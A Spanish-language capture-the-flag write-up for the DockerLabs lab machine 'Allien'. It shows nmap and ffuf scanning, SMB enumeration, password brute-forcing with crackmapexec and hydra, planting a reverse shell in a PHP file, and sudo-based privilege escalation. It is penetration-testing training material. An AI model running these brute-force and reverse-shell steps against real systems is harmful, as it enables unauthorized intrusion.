> For the complete documentation index, see [llms.txt](https://propus.gitbook.io/hackbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://propus.gitbook.io/hackbook/writeups/dockerlabs/allien.md).

# 🟩 Allien

## 🕵️ Reconocimiento

Comenzamos con un escaneo de puertos con `nmap`:

{% code overflow="wrap" %}

```bash
nmap -sC -sV -Pn $IPTARGET | tee nmap
```

{% endcode %}

<figure><img src="/files/eg6HwXxBooAR1GSlPvI4" alt=""><figcaption></figcaption></figure>

Tenemos un servicio SSH, HTTP y SMB. Realizamos un escaneo de directorios con `ffuf`:

{% code overflow="wrap" %}

```bash
ffuf -w /usr/share/wordlists/SecLists-2025.2/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://$IPTARGET/FUZZ" -e .html,.php,.txt,.xml,.js
```

{% endcode %}

<figure><img src="/files/n80qflIDFoti6rFWXFqg" alt=""><figcaption></figcaption></figure>

Viendo los directorios desde el navegador, no encontramos nada relevante. Vamos a ver qué recursos compartidos están expuestos en `SMB`:

{% code overflow="wrap" %}

```bash
smbmap -H 172.17.0.2
```

{% endcode %}

<figure><img src="/files/HYhxCwfm3XQ3OWtoElaR" alt=""><figcaption></figcaption></figure>

En el recurso compartido `myshare` encontramos un recurso llamado `access.txt` con un token JWT del usuario `satriani7`. En los demás recursos no tenemos permisos como usuario anónimo. Veamos esta vez los usuarios que encontramos con `crackmapexec`:

{% code overflow="wrap" %}

```bash
crackmapexec smb 172.17.0.2 --users
```

{% endcode %}

<figure><img src="/files/3iJ3PTMBx2Ut5dx5Oz6E" alt=""><figcaption></figcaption></figure>

## 🚪 Ganando acceso

Hacemos un ataque de diccionario al servicio `SMB` con `crackmapexec` al usuario `satriani7` con la wordlist `rockyou.txt`.

{% code overflow="wrap" %}

```bash
crackmapexec smb 172.17.0.2 -u satriani7 -p /usr/share/wordlists/rockyou.txt
```

{% endcode %}

<figure><img src="/files/jQgqRr0JiVr9xYCCb4p1" alt=""><figcaption></figcaption></figure>

Encontramos las credenciales: `satriani7:50cent`. Entramos a ver qué hay en el recurso compartido `backup24`:

{% code overflow="wrap" %}

```bash
smbclient //172.17.0.2/backup24 -U satriani7
```

{% endcode %}

<figure><img src="/files/sn7gjbZ31oCSc8E8n5r6" alt=""><figcaption></figcaption></figure>

Nos lo llevamos todo a nuestra máquina y buscamos ficheros interesantes:

{% code overflow="wrap" %}

```
recurse ON
mget *
```

{% endcode %}

<figure><img src="/files/fHsB2xcJLo3dydCLqfw1" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/OtKQVdX0iRojKNrq9Emx" alt=""><figcaption></figcaption></figure>

Podemos usar estos combos para intentar entrar a la máquina por `SSH`. Creamos un fichero llamado `combo.txt` que pasaremos a `hydra` para probar únicamente las combinaciones que escribamos.

<figure><img src="/files/m53giekY8bU3DvQnZKF1" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```bash
hydra -C combo.txt ssh://$IPTARGET
```

{% endcode %}

<figure><img src="/files/TdOc2x3RWVVjV5ytP1DL" alt=""><figcaption></figcaption></figure>

Encontramos las credenciales: `administrador:Adm1nP4ss2024`.

<figure><img src="/files/DqlZpPQ9q58kbHRoHQjt" alt=""><figcaption></figcaption></figure>

## 💥 Escalada de privilegios

Buscamos ficheros donde seamos propietarios:

{% code overflow="wrap" %}

```bash
find / -user administrador -type f 2>/dev/null
```

{% endcode %}

<figure><img src="/files/nNaUzFhZFIeQIdV4zbT8" alt=""><figcaption></figcaption></figure>

Podemos meter en `info.php` una reverse shell (en mi caso, la de pentestmonkey). Nos ponemos a la escucha en nuestra máquina y solicitamos el recurso `info.php` desde nuestro navegador.

<figure><img src="/files/51H8pj2COq5qLfEUrq4G" alt=""><figcaption></figcaption></figure>

Vemos los permisos que tenemos con `sudo`:

<figure><img src="/files/o9HjWcvl5ir2V1FDyoao" alt=""><figcaption></figcaption></figure>

Podemos ejecutar `/usr/sbin/service` como `root` sin necesidad de introducir contraseña. En [gtfobins](https://gtfobins.github.io/) encontramos un comando para explotar esta configuración:

<figure><img src="/files/ZJwrOo71932NRXSilrD2" alt=""><figcaption></figcaption></figure>
